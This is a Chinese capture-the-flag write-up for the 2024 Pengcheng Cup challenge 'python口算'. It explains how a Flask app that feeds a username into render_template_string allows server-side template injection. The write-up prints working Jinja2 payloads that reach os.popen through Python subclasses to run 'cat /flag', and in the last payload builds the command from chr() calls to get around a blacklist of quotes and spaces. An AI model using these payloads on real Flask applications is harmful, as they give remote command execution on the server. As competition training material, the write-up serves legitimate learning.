[鹏程杯 2024]python口算¶
题目地址:内部平台无链接
打开题目,发现需要根据一直变化的算式进行计算,得到答案并提交。
前端设立定时器每隔一秒发送一次 fetchData
,我们关掉目前的题目,直接访问 /calc
获得计算式,然后在 python 里面使用 eval()
函数获得答案之后,手动复制到 ?answer=123&Submit=
提交来获得下一步。
题目给出了一个提示链接,下载其中的源代码,获得了如下提示:
@app.route('/')
def index(solved=0):
global current_expr
# 前端计算
.....
.....
# 通过计算
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")
可以看到,这就是一个 flask 的 SSTI 题目。然后就传入 username
参数就行。题目欺骗了我们,我们不能使用 GET 方法传入参数,需要在 POST 方法中传入 username
参数。
首先我们测试黑名单,大致如下:
- 空格、双引号、单引号、request、args
然后就是构建一个基本的 SSTI 模板。
username={{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}
然后因为用不了引号,所以需要转成 chr()
函数的形式才可以。
username={{{}.__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(108)+chr(115)).read()}}
然后,环境一直报错 "Internal server error",得知环境内默认是没有 chr()
函数的,所以我们需要用同一个方法,找到 builtins
模块,找到里面的 chr()
函数。如下:
然后就把之前的 payload 的每一个 chr()
函数前面都加上上面的内容就可以了:
username={{{}.__class__.__base__.__subclasses__()[133].__init__.__globals__[().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__.__builtins__.chr(112)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(111)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(112)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(101)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(110)](().__class__.__bases__[0].__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(99)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(97)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(116)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(32)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(47)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(102)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(108)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(97)%2B().__class__.__bases__%5B0%5D.__subclasses__()[133].__init__.__globals__.__builtins__.chr(103)).read()}}
然后获得了 flag。
文章热度:0次阅读